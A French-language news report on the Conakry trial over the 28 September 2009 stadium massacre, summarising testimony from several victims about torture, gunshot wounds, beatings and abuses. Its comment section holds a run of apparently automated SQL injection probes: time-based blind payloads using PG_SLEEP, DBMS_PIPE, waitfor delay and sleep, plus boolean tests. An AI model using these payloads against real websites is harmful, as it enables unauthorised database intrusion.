Les victimes continuent de défiler à la barre du Tribunal criminel de Dixinn délocalisé à la Cour d'Appel de Conakry. Lundi dernier, c’est Mamadou Alimou Sall qui a ouvert le bal.
Mamadou
Alimou Sall dit s’être constitué partie civile pour avoir été privé de sa
liberté et séquestré au camp Koundara actuel Camp Makambo, dirigé à l'époque
par le commandant Beugré. Le plaignant a commencé par préciser qu'il n'a rien
subi au stade pour avoir quitté très tôt. Toutefois, a-t-il expliqué, les
heures qui ont suivi le massacre, il a constaté la disparition d'un de ses amis
du nom de Korka Bah. Il a appelé le contact de ce dernier en vue de prendre de
ses nouvelles. A sa grande surprise, a-t-il dit, c'est un militaire qui a
décroché l'appel à partir du camp Koundara pour lui dire que le propriétaire du
téléphone est dans cette caserne. Partis donc à la recherche de Korka Bah avec
son ami Bobo Bah au camp Koundara, ils y ont été retenus contre leur gré
pendant presqu'une semaine. Durant cette semaine, a-t-il révélé, lui et son ami
ont été torturés. Chacun recevait chaque matin 50 coups à la demande de Beugré
et un autre officier du nom de Tanènè. Ils ne mangeaient qu'une seule fois par
jour, mais pas à leur faim. Mamadou Alimou a aussi mis à l'index le sergent
Paul qui, selon lui, est dans le box des accusés. Ce dernier leur criait
dessus, les qualifiait de rebelles et les menaçait de mort, a-t-il ajouté. Au
bout d'une semaine, ils ont recouvré leur liberté grâce à un officier dont il
dit ignorer l'identité. Il se souvient avoir été transporté par des militaires
dans leur véhicule du camp Koundara jusqu'au bord de la mer à Taouyah. Ceux qui
les ont transportés leur ont donné chacun 5 000 GNF tout en leur demandant de
se laver dans la mer avant de rentrer à la maison. Il a conclu en disant que
l’ami qu’ils recherchaient reste jusqu'ici, introuvable.
Mamadou Lamine Sall a été succédé à
la barre par Mamadou Chérif Barry.
Mamadou
Chérif Barry est un couturier. Il est né 1997 à Pita. Il a rappelé qu’il était
au Stade le 28 septembre 2009 pour assister au meeting des Forces Vives de la
Nation. Il a reçu une balle au pied alors qu'il se battait pour se sauver suite
à l'irruption des militaires. Il est d’abord secouru par trois jeunes jusqu'au
portail du stade vers la Mairie de Dixinn, ensuite par la Croix rouge. Mamadou
Chérif est alors amené à la gendarmerie chez l’officier Baldé Bodié. En
compagnie de beaucoup d’autres manifestants blessés, il est conduit à l'hôpital
national Donka. Il dit avoir trouvé sur une bâche dans cet établissement
hospitalier, de nombreuses autres victimes parmi lesquelles une était morte
devant lui. Quelques heures après son arrivée, les médecins l'informent du
pillage de la pharmacie de l’hôpital. Il rentre à la maison pour dit-il, se
mettre à l'abri d'un éventuel enlèvement. Quand il y a eu l’accalmie, il est
revenu à l'hôpital pour poursuivre son traitement. Il a passé trois mois deux
semaines à Donka à la charge du gouvernement, a affirmé la victime. Mamadou
Chérif n'a parlé d'aucun accusé, mais il tient le capitaine Moussa Dadis Camara
pour responsable de sa mésaventure et demande justice.
C’est après les deux premiers
qu’Ibrahima Diallo aussi a été entendu. Cette autre partie civile est largement
revenue sur ce qui lui est arrivé dans la journée du 28 septembre.
A l’image de
son prédécesseur, Ibrahima Diallo est aussi couturier. Il est né en 1965 à Tolo
dans la préfecture de Mamou. Il a expliqué avoir été emporté au stade par
l’euphorie que suscitait la mobilisation des manifestants vers ce complexe
sportif à l’appel des forces vives. Il se plaint de sévices corporels qui ont
sérieusement touché son dos suite à une chute imputable à des agents en civil
qui arboraient des étoffes rouges sur la tête. Le quinquagénaire dit avoir été
victime de ces sévices alors qu'il se débattait pour sortir du stade en marge
de l'irruption des militaires. Il a témoigné avoir vu au moins une quarantaine
de corps au stade. Le seul accusé dont Ibrahima Diallo a parlé, est le colonel
Moussa Tiegboro Camara. Il accuse ce dernier de menaces dans la matinée du 28
septembre lorsque lui et d’autres manifestants ralliaient le stade. Avant
l'étape du stade, il affirmé avoir vu des bus de Dadis au niveau de Hamdallaye
Pharmacie qui transportaient des gens et à bord desquels, il y avait des
machettes et des couteaux. Il a aussi rappelé que les policiers ont été les
premiers à lancer du gaz lacrymogène dans l'enceinte du stade. En répondant aux
premières questions du premier substitut du procureur qui l’a interrogé, le
plaignant a coulé les larmes. Selon lui, il traîne les séquelles de ses
blessures jusqu'à date. Il est désormais dans l'incapacité de subvenir aux
besoins de ses trois épouses et 14 enfants, a-t-il regretté sur fond de colère.
Me Thierno Souleymane Baldé a été la
quatrième victime à avoir été entendue lundi. C’est d’ailleurs sa déposition
qui a clôturé la journée.
Me Thierno
Souleymane Baldé est un avocat né en juin 1973 à Fatako dans la préfecture de
Tougué. Il dit s’être constitué partie civile pour avoir été victime de
torture. Les faits remontent au 28 octobre 2009 soit un mois après le massacre
du 28 septembre. Il avait alors été arrêté avec 10 autres personnes par le
colonel Moussa Tiegboro Camara et ses éléments à la Maison des jeunes de
Dixinn. « Ils ont tiré certains parmi nous par les pieds, d'autres par la tête,
avec des injures que je ne peux pas répéter ici. Ils nous ont traînés dans la
boue de la salle jusqu'au niveau de la route principale où étaient garés les
pick-up. Ils nous ont mis à l'intérieur
comme des sacs de patates », a raconté l'avocat. C’est ensuite qu'ils ont été
conduits au camp Alpha Yaya Diallo et enfermés dans un conteneur, a-t-il
rappelé. Cette arrestation est consécutive selon Me Thierno Souleymane Baldé, à
une grève de la faim qu'il avait organisée pour dit-il, mettre la pression sur
les militaires et les politiques afin que cessent les violences dans le pays.
Après leur arrestation aux environs de 20 heures, lui personnellement a été
interrogé par des gendarmes armés de 21 heures à 2 heures du matin pendant
qu'on le giflait en l’insultant, a révélé Me Thierno Souleymane Barry. C'est le
lendemain matin que lui et ses compagnons d'infortune ont été fait libérer par
le Colonel Abdoulaye Chérif Diaby et Koutoubou Sanoh à la demande du capitaine
Moussa Dadis Camara. Il leur a été demandé de suspendre la grève afin qu'une
solution soit trouvée à leurs points de revendication. Ils sont passés à
l'hôpital national Donka parce qu'il y avait des blessés parmi eux, suite à
leur arrestation musclée, avant de rejoindre leurs familles.
Mardi, c’est une seule partie civile
qui a été entendue. Il s’agit de Mamadou Baïlo Sow qui s’est constitué partie
civile pour coups et blessures.
Mamadou
Baïlo Sow est staffeur. Il est né en 1988 à Bissikrima dans la préfecture de
Dabola. C’est de Wanindara dans la commune de Ratoma qu’il a rallié le Stade le
28 septembre 2009 en compagnie de plusieurs autres personnes, a expliqué le plaignant.
De la cité Enco 5 au complexe sportif en passant par Cosa, Bambéto et
Hamdallaye, lui et ses compagnons ont constaté la présence des policiers et des
bérets rouges partout. Cependant, ils ont pu franchir toutes ces étapes sans
grandes difficultés, a indiqué Baïlo. C'est à la Belle vue, que des policiers
ont tenté d'empêcher sérieusement les manifestants de poursuivre leur chemin.
Ces derniers ont tiré sur deux de ses amis, a-t-il révélé. Arrivés à la
terrasse, Mamadou Baïlo Sow et ses compagnons ont trouvé le Colonel Moussa
Tiegboro Camara arrêté. L’officier était en train de crier selon lui, sur des
manifestants. Le plaignant a ajouté qu’il y avait trois bérets rouges dans le
cortège du gendarme. En dépit des petites difficultés à l'esplanade, le plaignant
a pu accéder à l'enceinte du stade.
Du stade, c’est à l’hôpital qu’il
s’est finalement retrouvé suite aux violences qui ont été exercées sur les
manifestants pas des militaires.
Il a rappelé
que l'irruption des militaires a débouché sur des violences. Il dit avoir perdu
tout espoir quand il a vu Cellou Dalein Diallo se faire sauvagement bastonner
par un militaire. Les sévices qui n'ont pas épargné les leaders, n'épargneront
point les militants, s'est-il dit. Lorsqu'il tentait de sortir du stade, il a
été atteint par balle au niveau du flanc droit après avoir reçu des coups sur
la tête de la part d'un béret rouge qui l'avait empêché de grimper à un
manguier à travers lequel il voulait se sauver, a décrit la victime en larmes.
De là où il était couché, a ajouté le jeune, il a vu de ses propres yeux une
femme qui se faisait violer par des agents. Selon Mamadou Baïlo Sow, il a été
secouru par la suite par d'autres manifestants en débandade. C'est dans ces
conditions, qu'il s'est retrouvé dans une clinique privée chez un certain Dr
Sow avant d'être admis à l'hôpital Donka. Il reconnaît n’avoir pas vu la scène
de ses yeux, mais il a été informé du retrait des corps de la morgue de l’hôpital
entre 3h et 4h du matin sur fond de bruit le jour où il est arrivé. Pour avoir
refusé de saluer le capitaine Moussa Dadis Camara qui avait rendu visite aux
victimes trois jours après les événements, des médecins l’ont conseillé de
quitter l’hôpital par peur de représailles, a témoigné Mamadou Baïlo. Il a
poursuivi ses soins dans son quartier à ses propres frais avant d’être admis à
la clinique Mère et Enfant. Jusqu'à date, a indiqué le plaignant, il traîne les
séquelles de ses blessures. Il demande l'application stricte de la loi contre
les membres du CNDD qui, selon lui, sont responsables des événements du 28
septembre 2009.
Mercredi, la première victime qui a
été appelée à la barre s’appelle Moussa Bella Barry, mais c’est son épouse qui
a parlé en son nom.
Invité à la
barre, Moussa Bella Barry a comparu avec sa femme. Avant de prendre la parole,
c’est Me Hamidou Barry qui a informé le tribunal que la victime ne peut pas
parler parce que paralysée. Il a fait une procuration à sa femme, Kadiatou
Barry, a ajouté cet avocat des parties civiles. Le procureur par la voix de
Sidiki Camara ne s’est pas opposée à cette représentation. Les avocats de la
défense non plus. Kadiatou Barry a expliqué que son mari s’est rendu au stade
dans la matinée du 28 septembre. Elle a cessé d’avoir de ses nouvelles à partir
de 14h, parce que son contact ne passait plus. C’est vers 17h qu’elle a croisé
un groupe de personnes à la Terrasse du stade. On lui a alors remis la carte
d’identité de Moussa Bella. « Quand j’ai demandé, on m’a dit qu’il n’est pas
mort, mais qu’il est hospitalisé à la clinique chez Dr Samoura. On est allé le
trouver dans une profonde crise. Une semaine après, le médecin nous a dit de
l’envoyer à Donka parce qu’il souffrait beaucoup. De radio en radio à Donka, on
s’est rendu compte que sa main est foutue », a déclaré Kadiatou Barry. A cette
souffrance, l’hypertension s’est ajoutée, provoquant une paralysie totale chez
la victime, a-t-elle ajouté. Selon Kadiatou Barry, la main de son mari a été
fracturée par suite de bastonnades.
Kadiatou Barry a été succédée à la
barre par Mamadou Saliou Diallo. C'est un marchand né en 1970 à Nobè dans la
préfecture de Mamou. Il dit s'être constitué partie civile pour coups et
blessures.
Pour revenir
sur les faits, le plaignant a expliqué qu'il est parti de chez lui à Hamdallaye
CBG pour le stade en passant par le domicile de Cellou Dalein Diallo, aux
environs de 8 heures le 28 septembre 2009. A la Terrasse, il dit avoir trouvé
le colonel Moussa Tiegboro Camara. « Retournez-vous, vous ne rentrez pas ici »,
disait-il aux manifestants, a rapporté Mamadou Saliou Diallo. Après les
premiers coups de gaz lacrymogène, il s'est retranché au domicile de Cellou
Dalein Diallo. Il retourne au stade aux environs de 10 heures après avoir été
rejoint par une foule. Dans l'enceinte du stade, il est allé s'asseoir à la
tribune. Après l’arrivée de Jean-Marie Doré, certains agents ont commencé à
lancer du gaz lacrymogène et d'autres à tirer sur des manifestants, a affirmé
la victime.
C’est cette étape qui constitue le
véritable début de sa mésaventure.
Suite à la
bousculade au niveau d'un des portails du stade par lequel il voulait sortir,
son pied a été fracturé, a révélé Mamadou Saliou Diallo. Pendant qu'il se
débattait sous le corps d'une femme tombé sur lui, un béret rouge lui a
administré un coup de cross quand il a appelé au secours, un autre a pris sur
lui, son téléphone et une somme de 12 mille francs guinéens, a-t-il ajouté. Il
dit avoir été secouru par la Croix rouge au milieu de plusieurs corps et
acheminé à l'hôpital Donka. Trois jours après son arrivée à l'hôpital, le
président Dadis est passé rendre visite aux victimes et leur a demandé pardon,
s'est souvenu Mamadou Saliou Diallo. Il a décidé de rentrer à la maison par
peur, après avoir appris que le président du CNDD veut les envoyer à la
clinique Pasteur. Rentré dans le quartier, il a poursuivi son traitement chez
des tradi-praticien au quartier Hafia, avant d'être admis à la clinique Mère et
Enfant où il a passé trois mois. Le quinquagénaire tient le président Dadis
pour responsable des événements du 28 septembre 2009 et demande justice.
C’est la déposition de Thierno
Maadjou Sow qui a clôturé les trois journées d’audience de la semaine.
Thierno
Maadjou Sow est un marchand. Il est né en 1972 à Kankalabé dans la préfecture
de Dalaba. Le 28 septembre 2009, lui aussi était au stade. Il y est allé en
compagnie de trois jeunes après la prière de l'aube. C'était simplement pour
voir Cellou Dalein Diallo, a-t-il dit. Arrivé à la Terrasse, il apprend à
travers des gendarmes que le meeting n'aura pas lieu. Il rebrousse chemin. Sur
les hauteurs de Hamdallaye, il décide de retourner au stade quand il a croisé
la foule. Il a eu le temps de prier avant l'arrivée des leaders. Suite à l'irruption
des militaires, il dit avoir été pris à partie par un béret rouge. « Le premier
problème est survenu lorsque j'ai rencontré un individu en béret rouge qui m'a
violemment frappé au niveau de ma mâchoire droite avec son fusil, provoquant
trois fractures. Ensuite, il m'a poignardé à la cheville avec la baïonnette de
son fusil », a révélé Thierno Maadjou Sow en pleurs. Après avoir reçu tous ces
coups, il a été secouru par les agents de l'ONG médecins sans frontière. Il est
conduit à l'hôpital Donka avec des corps, a-t-il rappelé. De Donka à la
clinique Mère et Enfant, il dit avoir passé trois ans dans les hôpitaux sans
recouvrer sa santé. Il dit être pour la tenue du procès, mais pour lui, c'est
le traitement des victimes qui est pour le moment primordial. Il a demandé au
tribunal de se pencher sur cette question. Après sa déposition, la suite du
procès a été renvoyée au 31 juillet.
Sékou Diatéya Camara
@@D9DZX 14 août 2023 03:48
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 14 août 2023 03:48
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 14 août 2023 03:48
555
DU5vXs8p')) OR 254=(SELECT 254 FROM PG_SLEEP(15))-- 14 août 2023 03:48
555
C7jl4rjF') OR 970=(SELECT 970 FROM PG_SLEEP(15))-- 14 août 2023 03:48
555
PIxFKBBC' OR 253=(SELECT 253 FROM PG_SLEEP(15))-- 14 août 2023 03:48
555
-1)) OR 245=(SELECT 245 FROM PG_SLEEP(15))-- 14 août 2023 03:47
555
-5) OR 966=(SELECT 966 FROM PG_SLEEP(15))-- 14 août 2023 03:47
555
-5 OR 939=(SELECT 939 FROM PG_SLEEP(15))-- 14 août 2023 03:47
555
qUwAMPAq'; waitfor delay '0:0:15' -- 14 août 2023 03:47
555
1 waitfor delay '0:0:15' -- 14 août 2023 03:47
555
-1); waitfor delay '0:0:15' -- 14 août 2023 03:47
555
-1; waitfor delay '0:0:15' -- 14 août 2023 03:47
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 14 août 2023 03:47
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 14 août 2023 03:47
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 14 août 2023 03:46
555
if(now()=sysdate(),sleep(15),0) 14 août 2023 03:46
555
-1" OR 2+322-322-1=0+0+0+1 -- 14 août 2023 03:46
555
-1' OR 2+149-149-1=0+0+0+1 or 'ed4uXL3s'=' 14 août 2023 03:46
555
-1' OR 2+971-971-1=0+0+0+1 -- 14 août 2023 03:46
555
-1 OR 2+412-412-1=0+0+0+1 14 août 2023 03:46
555
-1 OR 2+200-200-1=0+0+0+1 -- 14 août 2023 03:46
555
kdT6n7fM 14 août 2023 03:46
555